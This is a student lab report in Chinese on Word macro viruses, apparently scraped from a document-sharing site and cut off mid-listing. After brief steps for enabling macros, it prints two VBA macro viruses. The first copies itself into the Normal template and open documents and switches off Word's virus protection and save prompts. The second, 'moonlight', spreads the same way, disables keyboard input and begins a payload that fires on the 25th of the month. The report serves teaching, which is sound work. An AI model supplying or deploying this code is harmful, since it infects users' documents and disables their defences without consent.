- 1、本文档共7页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
宏病毒实验报告
201424010257 邹文敏
实验目的
通过运行计算机代码,更加深刻的理解计算机代码。对计算机代码有一个初步的认识。
加深对宏病毒的感性认识,宏病毒是感染数据文件word,office等。
实验内容
运行自我复制,感染word公用模板和当前文档;具有一定破坏性的宏;清除宏病毒。
实验步骤
实验一:
将word文档中的 开发者工具打开 ;word 中心→信任选项→宏设计将信任选项打开
运行第一个实验Visual Basic →normal →Microsoft→the document
Project→microsoft word对象→the document复制如下代码:
APMP
Private Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False 以上都是基本的自我隐藏措施
MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then _
Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
With Host
If .Lines(1, 1) APMP Then 判断感染标志
.DeleteLines 1, .CountOfLines 删除目标文件所有代码
.InsertLines 1, MyCode 向目标文档写入病毒代码
If ThisDocument = NormalTemplate Then _
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End With
MsgBox Basic class macro by jackie, vbOKOnly, APMP
End Sub
保存时注意保存为宏文件
实验一运行截图:
清除实验一中的内容只需要删除,the document 中的内容在保存即可。
实验二:
编写代码的位置同上;
代码如下:
moonlight
Dim nm(4)
Sub Document_Open()
DisableInput 1
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With host
If .Lines(1, 1) moonlight Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100)
.ReplaceLine 3, Sub Document_Close()
If ThisDocument = NormalTemplate Then
.ReplaceLine 3, Sub Document_Open()
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
Count = 0
If Day(Now()) = 25 Then
try:
On Error GoTo try
test = -1
con = 1
tog$ =
i = 0
While test = -1
For i = 0 To 4
文档评论(0)